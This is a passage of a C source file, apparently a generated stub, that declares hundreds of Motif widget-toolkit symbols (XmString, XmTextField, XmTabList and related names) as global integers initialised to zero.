int _XmSCResizeHeight = 0;
int _XmSCResizePolicy = 0;
int _XmSCResizeWidth = 0;
int xmScrollBarClassRec = 0;
int _XmScrollBar_defaultTranslations = 0;
int XmScrollBarGetValues = 0;
int XmScrollBarSetValues = 0;
int xmScrollBarWidgetClass = 0;
int xmScrolledWindowClassRec = 0;
int XmScrolledWindowSetAreas = 0;
int xmScrolledWindowWidgetClass = 0;
int _XmScrolledW_ScrolledWindowXlations = 0;
int XmScrollVisible = 0;
int _XmSCRowColumnType = 0;
int _XmSCRows = 0;
int _XmSCRubberPositioning = 0;
int _XmSCSashHeight = 0;
int _XmSCSashIndent = 0;
int _XmSCSashWidth = 0;
int _XmSCScaleHeight = 0;
int _XmSCScaleMultiple = 0;
int _XmSCScaleWidth = 0;
int _XmSCScroll = 0;
int _XmSCScrollBarDisplayPolicy = 0;
int _XmSCScrollBarPlacement = 0;
int _XmSCScrolledWindowMarginHeight = 0;
int _XmSCScrolledWindowMarginWidth = 0;
int _XmSCScrollingPolicy = 0;
int _XmSCScrollSide = 0;
int _XmSCSelectColor = 0;
int _XmSCSelectedItemCount = 0;
int _XmSCSelectedItems = 0;
int _XmSCSelectInsensitivePixmap = 0;
int _XmSCSelectionArrayCount = 0;
int _XmSCSelectionLabelString = 0;
int _XmSCSelectionPolicy = 0;
int _XmSCSelectionType = 0;
int _XmSCSelectPixmap = 0;
int _XmSCSelectThreshold = 0;
int _XmSCSeparatorOn = 0;
int _XmSCSeparatorType = 0;
int _XmSCSet = 0;
int _XmSCShadowThickness = 0;
int _XmSCShadowType = 0;
int _XmSCShellHorizDim = 0;
int _XmSCShellHorizPos = 0;
int _XmSCShellUnitType = 0;
int _XmSCShellVertDim = 0;
int _XmSCShellVertPos = 0;
int _XmSCShowArrows = 0;
int _XmSCShowAsDefault = 0;
int _XmSCShowSeparator = 0;
int _XmSCShowValue = 0;
int _XmSCSimpleCheckBox = 0;
int _XmSCSimpleMenuBar = 0;
int _XmSCSimpleOptionMenu = 0;
int _XmSCSimplePopupMenu = 0;
int _XmSCSimplePulldownMenu = 0;
int _XmSCSimpleRadioBox = 0;
int _XmSCSizePolicy = 0;
int _XmSCSliderSize = 0;
int _XmSCSource = 0;
int _XmSCSourceCursorIcon = 0;
int _XmSCSourceIsExternal = 0;
int _XmSCSourcePixmapIcon = 0;
int _XmSCSourceWidget = 0;
int _XmSCSourceWindow = 0;
int _XmSCSpacing = 0;
int _XmSCStartTime = 0;
int _XmSCStateCursorIcon = 0;
int _XmSCStringDirection = 0;
int _XmSCTearOffModel = 0;
int _XmSCTextFontList = 0;
int _XmSCTextString = 0;
int _XmSCTextValue = 0;
int _XmSCTitleString = 0;
int _XmSCTopCharacter = 0;
int _XmSCTopItemPosition = 0;
int _XmSCTopLevelEnterCallback = 0;
int _XmSCTopLevelLeaveCallback = 0;
int _XmSCTopShadowColor = 0;
int _XmSCTopShadowPixmap = 0;
int _XmSCTransferProc = 0;
int _XmSCTransferStatus = 0;
int _XmSCTraversalOn = 0;
int _XmSCTraversalType = 0;
int _XmSCTreeUpdateProc = 0;
int _XmSCTroughColor = 0;
int _XmSCUnitType = 0;
int _XmSCUnpostBehavior = 0;
int _XmSCUnselectPixmap = 0;
int _XmSCUpdateSliderSize = 0;
int _XmScursorBackground = 0;
int _XmScursorForeground = 0;
int _XmScursorPosition = 0;
int _XmScursorPositionVisible = 0;
int _XmSCUseAsyncGeometry = 0;
int _XmSCUserData = 0;
int _XmSCValidCursorForeground = 0;
int _XmSCValueChangedCallback = 0;
int _XmSCValueWcs = 0;
int _XmSCVerifyBell = 0;
int _XmSCVerticalAlignment = 0;
int _XmSCVerticalDimension = 0;
int _XmSCVerticalFontUnit = 0;
int _XmSCVerticalInt = 0;
int _XmSCVerticalPosition = 0;
int _XmSCVerticalScrollBar = 0;
int _XmSCVirtualBinding = 0;
int _XmSCVisibleItemCount = 0;
int _XmSCVisibleWhenOff = 0;
int _XmSCVisualPolicy = 0;
int _XmSCWhichButton = 0;
int _XmSCWordWrap = 0;
int _XmSCWorkWindow = 0;
int _XmSCXmBackgroundPixmap = 0;
int _XmSCXmFONTLIST_DEFAULT_TAG_STRING = 0;
int _XmSCXmString = 0;
int _XmSCXmStringCharSet = 0;
int _XmSCXmStringTable = 0;
int _XmSdarkThreshold = 0;
int _XmSdecimalPoints = 0;
int _XmSdecrementCallback = 0;
int _XmSdefaultActionCallback = 0;
int _XmSDEFAULT_BACKGROUND = 0;
int _XmSdefaultButton = 0;
int _XmSdefaultButtonShadowThickness = 0;
int _XmSdefaultButtonType = 0;
int _XmSdefaultCopyCursorIcon = 0;
int _XmSDEFAULT_FONT = 0;
int _XmSdefaultFontList = 0;
int _XmSdefaultInvalidCursorIcon = 0;
int _XmSdefaultLinkCursorIcon = 0;
int _XmSdefaultMoveCursorIcon = 0;
int _XmSdefaultNoneCursorIcon = 0;
int _XmSdefaultPosition = 0;
int _XmSdefaultSourceCursorIcon = 0;
int _XmSdefaultValidCursorIcon = 0;
int _XmSdeleteResponse = 0;
int _XmSdesktopParent = 0;
int _XmSdialogStyle = 0;
int _XmSdialogTitle = 0;
int _XmSdialogType = 0;
int _XmSdirectory = 0;
int _XmSdirectoryValid = 0;
int _XmSdirListItemCount = 0;
int _XmSdirListItems = 0;
int _XmSdirListLabelString = 0;
int _XmSdirMask = 0;
int _XmSdirSearchProc = 0;
int _XmSdirSpec = 0;
int _XmSdisarmCallback = 0;
int _XmSdoubleClickInterval = 0;
int _XmSdoubleSeparator = 0;
int _XmSdragCallback = 0;
int _XmSdragContextClass = 0;
int _XmSdragDropFinishCallback = 0;
int _XmSdragIconClass = 0;
int _XmSdragInitiatorProtocolStyle = 0;
int _XmSdragMotionCallback = 0;
int _XmSdragOperations = 0;
int _XmSdragOverMode = 0;
int _XmSdragProc = 0;
int _XmSdragReceiverProtocolStyle = 0;
int _XmSdropFinishCallback = 0;
int _XmSdropProc = 0;
int _XmSdropRectangles = 0;
int _XmSdropSiteActivity = 0;
int _XmSdropSiteEnterCallback = 0;
int _XmSdropSiteLeaveCallback = 0;
int _XmSdropSiteManagerClass = 0;
int _XmSdropSiteOperations = 0;
int _XmSdropSiteType = 0;
int _XmSdropStartCallback = 0;
int _XmSdropTransferClass = 0;
int _XmSdropTransfers = 0;
int _XmSearchColorCache = 0;
int _XmSecondaryResourceData = 0;
int _XmSeditable = 0;
int _XmSeditMode = 0;
int _XmSelectColorDefault = 0;
int _XmSelectioB_defaultTextAccelerators = 0;
int xmSelectionBoxClassRec = 0;
int _XmSelectionBoxCreateApplyButton = 0;
int _XmSelectionBoxCreateCancelButton = 0;
int _XmSelectionBoxCreateHelpButton = 0;
int _XmSelectionBoxCreateList = 0;
int _XmSelectionBoxCreateListLabel = 0;
int _XmSelectionBoxCreateOkButton = 0;
int _XmSelectionBoxCreateSelectionLabel = 0;
int _XmSelectionBoxCreateSeparator = 0;
int _XmSelectionBoxCreateText = 0;
int _XmSelectionBoxGeoMatrixCreate = 0;
int _XmSelectionBoxGetApplyLabelString = 0;
int _XmSelectionBoxGetCancelLabelString = 0;
int XmSelectionBoxGetChild = 0;
int _XmSelectionBoxGetHelpLabelString = 0;
int _XmSelectionBoxGetListItemCount = 0;
int _XmSelectionBoxGetListItems = 0;
int _XmSelectionBoxGetListLabelString = 0;
int _XmSelectionBoxGetListVisibleItemCount = 0;
int _XmSelectionBoxGetOkLabelString = 0;
int _XmSelectionBoxGetSelectionLabelString = 0;
int _XmSelectionBoxGetTextColumns = 0;
int _XmSelectionBoxGetTextString = 0;
int _XmSelectionBoxNoGeoRequest = 0;
int _XmSelectionBoxRestore = 0;
int _XmSelectionBoxUpOrDown = 0;
int xmSelectionBoxWidgetClass = 0;
int _XmSEMPTY_STRING = 0;
int _XmSendICCCallback = 0;
int _XmSentryAlignment = 0;
int _XmSentryBorder = 0;
int _XmSentryCallback = 0;
int _XmSentryClass = 0;
int _XmSentryVerticalAlignment = 0;
int _XmSeparatorCacheCompare = 0;
int xmSeparatorClassRec = 0;
int _XmSeparatorFix = 0;
int xmSeparatorGadgetClass = 0;
int xmSeparatorGadgetClassRec = 0;
int xmSeparatorGCacheObjClassRec = 0;
int xmSeparatorWidgetClass = 0;
int _XmSetActiveTabGroup = 0;
int _XmSetActualClass = 0;
int XmSetColorCalculation = 0;
int _XmSetDefaultBackgroundColorSpec = 0;
int _XmSetDestination = 0;
int _XmSetDragReceiverInfo = 0;
int _XmSetEtchedSlider = 0;
int _XmSetFocusFlag = 0;
int _XmSetFocusResetFlag = 0;
int XmSetFontUnit = 0;
int XmSetFontUnits = 0;
int _XmSetInDragMode = 0;
int _XmSetInitialOfTabGraph = 0;
int _XmSetInitialOfTabGroup = 0;
int _XmSetKidGeo = 0;
int _XmSetLastManagedMenuTime = 0;
int XmSetMenuCursor = 0;
int _XmSetMenuTraversal = 0;
int _XmSetPopupMenuClick = 0;
int XmSetProtocolHooks = 0;
int _XmSetRect = 0;
int _XmSetSwallowEventHandler = 0;
int _XmSetThickness = 0;
int _XmSetThicknessDefault0 = 0;
int XmSetToolTipString = 0;
int _XmSetTransientFlag = 0;
int _XmSetValuesOnChildren = 0;
int _XmSetXmDisplayClass = 0;
int _XmSexportTargets = 0;
int _XmSexposeCallback = 0;
int _XmSextendedSelectionCallback = 0;
int _XmSextensionType = 0;
int _XmSFAddNavigator = 0;
int _XmSfileListItemCount = 0;
int _XmSfileListItems = 0;
int _XmSfileListLabelString = 0;
int _XmSfileSearchProc = 0;
int _XmSfileTypeMask = 0;
int _XmSfillOnArm = 0;
int _XmSfillOnSelect = 0;
int _XmSfilterLabelString = 0;
int _XmSfocusCallback = 0;
int _XmSfocusMovedCallback = 0;
int _XmSfocusPolicyChanged = 0;
int _XmSfontList = 0;
int _XmSforegroundThreshold = 0;
int _XmSfractionBase = 0;
int _XmSFRemoveNavigator = 0;
int _XmSFUpdateNavigatorsValue = 0;
int _XmSgainPrimaryCallback = 0;
int xmShellExtClassRec = 0;
int xmShellExtObjectClass = 0;
int _XmShellIsExclusive = 0;
int _XmShelpCallback = 0;
int _XmShelpLabelString = 0;
int _XmShighlightColor = 0;
int _XmShighlightOnEnter = 0;
int _XmShighlightPixmap = 0;
int _XmShighlightThickness = 0;
int _XmShistoryItemCount = 0;
int _XmShistoryItems = 0;
int _XmShistoryMaxItems = 0;
int _XmShistoryVisibleItemCount = 0;
int _XmShorizontalFontUnit = 0;
int _XmShorizontalScrollBar = 0;
int _XmShorizontalSpacing = 0;
int _XmShotX = 0;
int _XmShotY = 0;
int _XmSiccHandle = 0;
int XmSimpleSpinBoxAddItem = 0;
int xmSimpleSpinBoxClassRec = 0;
int XmSimpleSpinBoxDeletePos = 0;
int XmSimpleSpinBoxSetItem = 0;
int xmSimpleSpinBoxWidgetClass = 0;
int _XmSimportTargets = 0;
int _XmSincrement = 0;
int _XmSincremental = 0;
int _XmSincrementCallback = 0;
int _XmSindicatorOn = 0;
int _XmSindicatorSize = 0;
int _XmSindicatorType = 0;
int _XmSinitialDelay = 0;
int _XmSinitialFocus = 0;
int _XmSinputCallback = 0;
int _XmSinputCreate = 0;
int _XmSinputMethod = 0;
int _XmSinvalidCursorForeground = 0;
int _XmSisAligned = 0;
int _XmSisHomogeneous = 0;
int _XmSitemCount = 0;
int _XmSitems = 0;
int _XmSkeyboardFocusPolicy = 0;
int _XmSlabelFontList = 0;
int _XmSlabelInsensitivePixmap = 0;
int _XmSlabelPixmap = 0;
int _XmSlabelString = 0;
int _XmSlabelType = 0;
int _XmSleep = 0;
int _XmSleftAttachment = 0;
int _XmSleftOffset = 0;
int _XmSleftPosition = 0;
int _XmSleftWidget = 0;
int xmSlideContextClassRec = 0;
int xmSlideContextWidgetClass = 0;
int _XmSlightThreshold = 0;
int _XmSlistItemCount = 0;
int _XmSlistItems = 0;
int _XmSlistLabelString = 0;
int _XmSlistMarginHeight = 0;
int _XmSlistMarginWidth = 0;
int _XmSlistSizePolicy = 0;
int _XmSlistSpacing = 0;
int _XmSlistUpdated = 0;
int _XmSlistVisibleItemCount = 0;
int _XmSlogicalParent = 0;
int _XmSlosePrimaryCallback = 0;
int _XmSlosingFocusCallback = 0;
int _XmSmainWindowMarginHeight = 0;
int _XmSmainWindowMarginWidth = 0;
int _XmSmapCallback = 0;
int _XmSmappingDelay = 0;
int _XmSmargin = 0;
int _XmSmarginBottom = 0;
int _XmSmarginHeight = 0;
int _XmSmarginLeft = 0;
int _XmSmarginRight = 0;
int _XmSmarginTop = 0;
int _XmSmarginWidth = 0;
int _XmSmask = 0;
int _XmSmaximum = 0;
int _XmSmaxLength = 0;
int _XmSmenuAccelerator = 0;
int _XmSmenuBar = 0;
int _XmSmenuCursor = 0;
int _XmSmenuHelpWidget = 0;
int _XmSmenuHistory = 0;
int _XmSmenuPost = 0;
int _XmSmessageAlignment = 0;
int _XmSmessageProc = 0;
int _XmSmessageString = 0;
int _XmSmessageWindow = 0;
int _XmSminimizeButtons = 0;
int _XmSminimum = 0;
int _XmSmnemonic = 0;
int _XmSmnemonicCharSet = 0;
int _XmSmodifyVerifyCallback = 0;
int _XmSmodifyVerifyCallbackWcs = 0;
int _XmSmotionVerifyCallback = 0;
int _XmSmoveOpaque = 0;
int _XmSmultiClick = 0;
int _XmSmultipleSelectionCallback = 0;
int _XmSmustMatch = 0;
int _XmSmwmDecorations = 0;
int _XmSmwmFunctions = 0;
int _XmSmwmInputMode = 0;
int _XmSmwmMenu = 0;
int _XmSmwmMessages = 0;
int _XmSnavigationType = 0;
int _XmSneedsMotion = 0;
int _XmSnoMatchCallback = 0;
int _XmSnoMatchString = 0;
int _XmSnoneCursorForeground = 0;
int _XmSnoResize = 0;
int _XmSnotifyProc = 0;
int _XmSnumColumns = 0;
int _XmSnumDropRectangles = 0;
int _XmSnumDropTransfers = 0;
int _XmSnumExportTargets = 0;
int _XmSnumImportTargets = 0;
int _XmSnumRectangles = 0;
int _XmSocorro = 0;
int _XmSoffsetX = 0;
int _XmSoffsetY = 0;
int _XmSokCallback = 0;
int _XmSokLabelString = 0;
int _XmSoperationChangedCallback = 0;
int _XmSoperationCursorIcon = 0;
int _XmSoptionLabel = 0;
int _XmSoptionMnemonic = 0;
int _XmSortResourceList = 0;
int _XmSosfActivate = 0;
int _XmSosfAddMode = 0;
int _XmSosfBackSpace = 0;
int _XmSosfBeginLine = 0;
int _XmSosfCancel = 0;
int _XmSosfClear = 0;
int _XmSosfCopy = 0;
int _XmSosfCut = 0;
int _XmSosfDelete = 0;
int _XmSosfDown = 0;
int _XmSosfEndLine = 0;
int _XmSosfHelp = 0;
int _XmSosfInsert = 0;
int _XmSosfLeft = 0;
int _XmSosfMenu = 0;
int _XmSosfMenuBar = 0;
int _XmSosfPageDown = 0;
int _XmSosfPageLeft = 0;
int _XmSosfPageRight = 0;
int _XmSosfPageUp = 0;
int _XmSosfPaste = 0;
int _XmSosfPrimaryPaste = 0;
int _XmSosfQuickPaste = 0;
int _XmSosfRight = 0;
int _XmSosfSelect = 0;
int _XmSosfUndo = 0;
int _XmSosfUp = 0;
int _XmSoutputCreate = 0;
int _XmSpacking = 0;
int _XmSpageDecrementCallback = 0;
int _XmSpageIncrement = 0;
int _XmSpageIncrementCallback = 0;
int _XmSpaneMaximum = 0;
int _XmSpaneMinimum = 0;
int _XmSpattern = 0;
int _XmSpendingDelete = 0;
int _XmSpinB_defaultAccelerators = 0;
int _XmSpinB_defaultTranslations = 0;
int xmSpinBoxClassRec = 0;
int XmSpinBoxValidatePosition = 0;
int xmSpinBoxWidgetClass = 0;
int _XmSpopupEnabled = 0;
int _XmSpositionIndex = 0;
int _XmSpostFromButton = 0;
int _XmSpostFromCount = 0;
int _XmSpostFromList = 0;
int _XmSpreeditType = 0;
int _XmSprocessingDirection = 0;
int _XmSpromptString = 0;
int _XmSprotocolCallback = 0;
int _XmSpushButton = 0;
int _XmSpushButtonEnabled = 0;
int _XmSqualifySearchDataProc = 0;
int _XmSradioAlwaysOne = 0;
int _XmSradioBehavior = 0;
int _XmSradioButton = 0;
int _XmSrealizeCallback = 0;
int _XmSrecomputeSize = 0;
int _XmSrectangles = 0;
int _XmSrefigureMode = 0;
int _XmSrepeatDelay = 0;
int _XmSresizable = 0;
int _XmSresizeCallback = 0;
int _XmSresizeHeight = 0;
int _XmSresizePolicy = 0;
int _XmSresizeWidth = 0;
int _XmSrightAttachment = 0;
int _XmSrightOffset = 0;
int _XmSrightPosition = 0;
int _XmSrightWidget = 0;
int _XmSrowColumnType = 0;
int _XmSrows = 0;
int _XmSrubberPositioning = 0;
int _XmSsashHeight = 0;
int _XmSsashIndent = 0;
int _XmSsashShadowThickness = 0;
int _XmSsashWidth = 0;
int _XmSscaleHeight = 0;
int _XmSscaleMultiple = 0;
int _XmSscaleWidth = 0;
int _XmSscrollBarDisplayPolicy = 0;
int _XmSscrollBarPlacement = 0;
int _XmSscrolledWindowMarginHeight = 0;
int _XmSscrolledWindowMarginWidth = 0;
int _XmSscrollHorizontal = 0;
int _XmSscrollingPolicy = 0;
int _XmSscrollLeftSide = 0;
int _XmSscrollTopSide = 0;
int _XmSscrollVertical = 0;
int _XmSselectColor = 0;
int _XmSselectedItemCount = 0;
int _XmSselectedItems = 0;
int _XmSselectInsensitivePixmap = 0;
int _XmSselectionArrayCount = 0;
int _XmSselectionLabelString = 0;
int _XmSselectionPolicy = 0;
int _XmSselectPixmap = 0;
int _XmSselectThreshold = 0;
int _XmSseparator = 0;
int _XmSseparatorOn = 0;
int _XmSseparatorType = 0;
int _XmSset = 0;
int _XmSshadow = 0;
int _XmSshadowThickness = 0;
int _XmSshadowType = 0;
int _XmSshellUnitType = 0;
int _XmSshowArrows = 0;
int _XmSshowAsDefault = 0;
int _XmSshowSeparator = 0;
int _XmSshowValue = 0;
int _XmSsimpleCallback = 0;
int _XmSsingleSelectionCallback = 0;
int _XmSsingleSeparator = 0;
int _XmSsizePolicy = 0;
int _XmSskipAdjust = 0;
int _XmSsliderSize = 0;
int _XmSsource = 0;
int _XmSsourceCursorIcon = 0;
int _XmSsourceIsExternal = 0;
int _XmSsourcePixmapIcon = 0;
int _XmSsourceWidget = 0;
int _XmSsourceWindow = 0;
int _XmSspacing = 0;
int _XmSstartTime = 0;
int _XmSstateCursorIcon = 0;
int _XmSstringDirection = 0;
int _XmSsubMenuId = 0;
int _XmSsymbolPixmap = 0;
int _XmStackFree = 0;
int _XmStackInit = 0;
int _XmStackPop = 0;
int _XmStackPush = 0;
int xm_std_constraint_filter = 0;
int xm_std_filter = 0;
int _XmStearOffMenuActivateCallback = 0;
int _XmStearOffMenuDeactivateCallback = 0;
int _XmStearOffModel = 0;
int _XmStextAccelerators = 0;
int _XmStextColumns = 0;
int _XmStextFontList = 0;
int _XmStextString = 0;
int _XmStextTranslations = 0;
int _XmStextValue = 0;
int _XmStitleString = 0;
int _XmStoBottomCallback = 0;
int _XmStopAttachment = 0;
int _XmStopCharacter = 0;
int _XmStopItemPosition = 0;
int _XmStopLevelEnterCallback = 0;
int _XmStopLevelLeaveCallback = 0;
int _XmStopOffset = 0;
int _XmStoPositionCallback = 0;
int _XmStopPosition = 0;
int _XmStopShadowColor = 0;
int _XmStopShadowPixmap = 0;
int _XmStopWidget = 0;
int _XmStoTopCallback = 0;
int _XmStransferProc = 0;
int _XmStransferStatus = 0;
int _XmStraversalCallback = 0;
int _XmStraversalOn = 0;
int _XmStraversalType = 0;
int _XmStraverseObscuredCallback = 0;
int _XmStreeUpdateProc = 0;
int _XmStringBaseline = 0;
int XmStringBaseline = 0;
int _XmStringByteCompare = 0;
int XmStringByteCompare = 0;
int XmStringByteStreamLength = 0;
int _XmStringCacheFree = 0;
int _XmStringCacheGet = 0;
int _XmStringCacheTag = 0;
int _XmStringCharacterCount = 0;
int XmStringCompare = 0;
int XmStringComponentCreate = 0;
int XmStringConcat = 0;
int XmStringConcatAndFree = 0;
int _XmStringContextCopy = 0;
int _XmStringContextFree = 0;
int _XmStringContextReInit = 0;
int _XmStringCopy = 0;
int XmStringCopy = 0;
int _XmStringCreate = 0;
int XmStringCreate = 0;
int _XmStringCreateExternal = 0;
int XmStringCreateFontList = 0;
int XmStringCreateFontList_r = 0;
int XmStringCreateLocalized = 0;
int XmStringCreateLtoR = 0;
int XmStringCreateSimple = 0;
int XmStringDirectionCreate = 0;
int XmStringDirectionToDirection = 0;
int _XmStringDraw = 0;
int XmStringDraw = 0;
int _XmStringDrawImage = 0;
int XmStringDrawImage = 0;
int _XmStringDrawLining = 0;
int _XmStringDrawMnemonic = 0;
int _XmStringDrawSegment = 0;
int _XmStringDrawUnderline = 0;
int XmStringDrawUnderline = 0;
int _XmStringEmpty = 0;
int XmStringEmpty = 0;
int _XmStringEntryCopy = 0;
int _XmStringEntryFree = 0;
int _XmStringExtent = 0;
int XmStringExtent = 0;
int _XmStringFree = 0;
int XmStringFree = 0;
int _XmStringFreeContext = 0;
int XmStringFreeContext = 0;
int XmStringGenerate = 0;
int _XmStringGetBaselines = 0;
int _XmStringGetCurrentCharset = 0;
int XmStringGetLtoR = 0;
int XmStringGetNextComponent = 0;
int _XmStringGetNextSegment = 0;
int XmStringGetNextSegment = 0;
int _XmStringGetNextTabWidth = 0;
int XmStringGetNextTriple = 0;
int _XmStringGetSegment = 0;
int _XmStringGetTextConcat = 0;
int _XmStringHasSubstring = 0;
int XmStringHasSubstring = 0;
int _XmStringHeight = 0;
int XmStringHeight = 0;
int _XmStringIndexCacheTag = 0;
int _XmStringIndexGetTag = 0;
int _XmStringInitContext = 0;
int XmStringInitContext = 0;
int _XmStringIsCurrentCharset = 0;
int XmStringIsVoid = 0;
int _XmStringIsXmString = 0;
int _XmStringLayout = 0;
int XmStringLength = 0;
int _XmStringLineCount = 0;
int XmStringLineCount = 0;
int XmStringLtoRCreate = 0;
int XmStringNConcat = 0;
int XmStringNCopy = 0;
int _XmStringNCreate = 0;
int _XmStringOptToNonOpt = 0;
int XmStringParseText = 0;
int XmStringPeekNextComponent = 0;
int XmStringPeekNextTriple = 0;
int XmStringPutRendition = 0;
int _XmStringRender = 0;
int _XmStrings = 0;
int _XmStrings22 = 0;
int _XmStrings23 = 0;
int _XmStringsAreEqual = 0;
int XmStringSegmentCreate = 0;
int _XmStringSegmentExtents = 0;
int _XmStringSegmentNew = 0;
int XmStringSeparatorCreate = 0;
int _XmStringsI = 0;
int _XmStringSingleSegment = 0;
int _XmStringSourceCreate = 0;
int _XmStringSourceDestroy = 0;
int _XmStringSourceFindString = 0;
int _XmStringSourceGetEditable = 0;
int _XmStringSourceGetMaxLength = 0;
int _XmStringSourceGetPending = 0;
int _XmStringSourceGetString = 0;
int _XmStringSourceGetValue = 0;
int _XmStringSourceHasSelection = 0;
int _XmStringSourceSetEditable = 0;
int _XmStringSourceSetGappedBuffer = 0;
int _XmStringSourceSetMaxLength = 0;
int _XmStringSourceSetPending = 0;
int _XmStringSourceSetValue = 0;
int XmStringTableParseStringArray = 0;
int XmStringTableProposeTablist = 0;
int XmStringTableToXmString = 0;
int XmStringTableUnparse = 0;
int XmStringToXmStringTable = 0;
int _XmStringTruncateASN1 = 0;
int _XmStringUngenerate = 0;
int XmStringUnparse = 0;
int _XmStringUpdate = 0;
int _XmStringUpdateWMShellTitle = 0;
int _XmStringWidth = 0;
int XmStringWidth = 0;
int _XmStroughColor = 0;
int _XmSunitType = 0;
int _XmSunmapCallback = 0;
int _XmSunpostBehavior = 0;
int _XmSunselectPixmap = 0;
int _XmSupdateSliderSize = 0;
int _XmSuseAsyncGeometry = 0;
int _XmSuserData = 0;
int _XmSvalidCursorForeground = 0;
int _XmSvalueChangedCallback = 0;
int _XmSvalueWcs = 0;
int _XmSverifyBell = 0;
int _XmSverticalFontUnit = 0;
int _XmSverticalScrollBar = 0;
int _XmSverticalSpacing = 0;
int _XmSvisibleItemCount = 0;
int _XmSvisibleWhenOff = 0;
int _XmSvisualPolicy = 0;
int _XmSWGetClipArea = 0;
int _XmSwhichButton = 0;
int _XmSWNotifyGeoChange = 0;
int _XmSwordWrap = 0;
int _XmSworkWindow = 0;
int _XmSyncDropSiteTree = 0;
int XmTabAttributesFree = 0;
int XmTabbedStackListAppend = 0;
int _XmTabbedStackListArray = 0;
int XmTabbedStackListCompare = 0;
int XmTabbedStackListCopy = 0;
int _XmTabbedStackListCount = 0;
int XmTabbedStackListCreate = 0;
int XmTabbedStackListFind = 0;
int XmTabbedStackListFree = 0;
int _XmTabbedStackListGet = 0;
int XmTabbedStackListInsert = 0;
int XmTabbedStackListModify = 0;
int XmTabbedStackListQuery = 0;
int XmTabbedStackListRemove = 0;
int XmTabbedStackListSimpleAppend = 0;
int XmTabbedStackListSimpleInsert = 0;
int XmTabbedStackListSimpleModify = 0;
int XmTabbedStackListSimpleQuery = 0;
int XmTabbedStackListSimpleRemove = 0;
int _XmTabBoxCanvas = 0;
int xmTabBoxClassRec = 0;
int XmTabBoxGetIndex = 0;
int _XmTabBoxGetMaxTabHeight = 0;
int _XmTabBoxGetMaxTabWidth = 0;
int XmTabBoxGetNumColumns = 0;
int XmTabBoxGetNumRows = 0;
int _XmTabBoxGetNumRowsColumns = 0;
int XmTabBoxGetNumTabs = 0;
int _XmTabBoxGetTabHeight = 0;
int XmTabBoxGetTabRow = 0;
int _XmTabBoxGetTabWidth = 0;
int _XmTabBoxSelectTab = 0;
int _XmTabBoxStackedGeometry = 0;
int xmTabBoxWidgetClass = 0;
int XmTabBoxXYToIndex = 0;
int xmTabCanvasClassRec = 0;
int xmTabCanvasWidgetClass = 0;
int _XmTabCopy = 0;
int XmTabCreate = 0;
int XmTabFree = 0;
int XmTabGetValues = 0;
int _XmTabListAdd = 0;
int XmTabListCopy = 0;
int _XmTabListDelete = 0;
int XmTabListFree = 0;
int _XmTabListGetPosition = 0;
int XmTabListGetTab = 0;
int XmTabListInsertTabs = 0;
int XmTabListRemoveTabs = 0;
int XmTabListReplacePositions = 0;
int XmTabListTabCount = 0;
int XmTabSetValue = 0;
int xmTabStackClassRec = 0;
int XmTabStackGetSelectedTab = 0;
int XmTabStackIndexToWidget = 0;
int XmTabStackSelectTab = 0;
int xmTabStackWidgetClass = 0;
int XmTargetsAreCompatible = 0;
int _XmTargetsToIndex = 0;
int _XmTearOffB_overrideTranslations = 0;
int _XmTearOffBPrimClassExtRec = 0;
int _XmTearOffBtnDownEventHandler = 0;
int _XmTearOffBtnUpEventHandler = 0;
int xmTearOffButtonClassRec = 0;
int xmTearOffButtonWidgetClass = 0;
int _XmTearOffInitiate = 0;
int _XmTestTraversability = 0;
int _XmTextAdjustGC = 0;
int _XmTextBytesToCharacters = 0;
int _XmTextChangeBlinkBehavior = 0;
int _XmTextChangeHOffset = 0;
int _XmTextChangeVOffset = 0;
int _XmTextCharactersToBytes = 0;
int xmTextClassRec = 0;
int _XmTextClearDestination = 0;
int XmTextClearSelection = 0;
int _XmTextConvert = 0;
int XmTextCopy = 0;
int XmTextCopyLink = 0;
int _XmTextCountCharacters = 0;
int XmTextCut = 0;
int _XmTextDestinationVisible = 0;
int _XmTextDisableRedisplay = 0;
int XmTextDisableRedisplay = 0;
int _XmTextDrawDestination = 0;
int _XmTextEnableRedisplay = 0;
int XmTextEnableRedisplay = 0;
int _XmTextEventBindings1 = 0;
int _XmTextEventBindings2 = 0;
int _XmTextEventBindings3 = 0;
int _XmTextF_EventBindings1 = 0;
int _XmTextF_EventBindings2 = 0;
int _XmTextF_EventBindings3 = 0;
int xmTextFieldClassRec = 0;
int XmTextFieldClearSelection = 0;
int _XmTextFieldConvert = 0;
int XmTextFieldCopy = 0;
int XmTextFieldCopyLink = 0;
int _XmTextFieldCountBytes = 0;
int _XmTextFieldCountCharacters = 0;
int XmTextFieldCut = 0;
int _XmTextFieldDeselectSelection = 0;
int _XmTextFieldDestinationVisible = 0;
int _XmTextFieldDrawInsertionPoint = 0;
int XmTextFieldGetAddMode = 0;
int XmTextFieldGetBaseline = 0;
int XmTextFieldGetBaseLine = 0;
int XmTextFieldGetCursorPosition = 0;
int _XmTextFieldGetDropReciever = 0;
int XmTextFieldGetEditable = 0;
int XmTextFieldGetInsertionPosition = 0;
int XmTextFieldGetLastPosition = 0;
int XmTextFieldGetMaxLength = 0;
int XmTextFieldGetSelection = 0;
int XmTextFieldGetSelectionPosition = 0;
int XmTextFieldGetSelectionWcs = 0;
int XmTextFieldGetString = 0;
int XmTextFieldGetStringWcs = 0;
int XmTextFieldGetSubstring = 0;
int XmTextFieldGetSubstringWcs = 0;
int _XmTextFieldHandleSecondaryFinished = 0;
int XmTextFieldInsert = 0;
int XmTextFieldInsertWcs = 0;
int _XmTextFieldInstallTransferTrait = 0;
int _XmTextFieldLoseSelection = 0;
int XmTextFieldPaste = 0;
int XmTextFieldPasteLink = 0;
int XmTextFieldPosToXY = 0;
int XmTextFieldRemove = 0;
int XmTextFieldReplace = 0;
int _XmTextFieldReplaceText = 0;
int XmTextFieldReplaceWcs = 0;
int XmTextFieldSetAddMode = 0;
int _XmTextFieldSetClipRect = 0;
int _XmTextFieldSetCursorPosition = 0;
int XmTextFieldSetCursorPosition = 0;
int _XmTextFieldSetDestination = 0;
int XmTextFieldSetEditable = 0;
int XmTextFieldSetHighlight = 0;
int XmTextFieldSetInsertionPosition = 0;
int XmTextFieldSetMaxLength = 0;
int _XmTextFieldSetSel2 = 0;
int XmTextFieldSetSelection = 0;
int XmTextFieldSetString = 0;
int XmTextFieldSetStringWcs = 0;
int XmTextFieldShowPosition = 0;
int _XmTextFieldStartSelection = 0;
int xmTextFieldWidgetClass = 0;
int XmTextFieldXYToPos = 0;
int _XmTextFindLineEnd = 0;
int _XmTextFindScroll = 0;
int XmTextFindString = 0;
int _XmTextFindStringBackwards = 0;
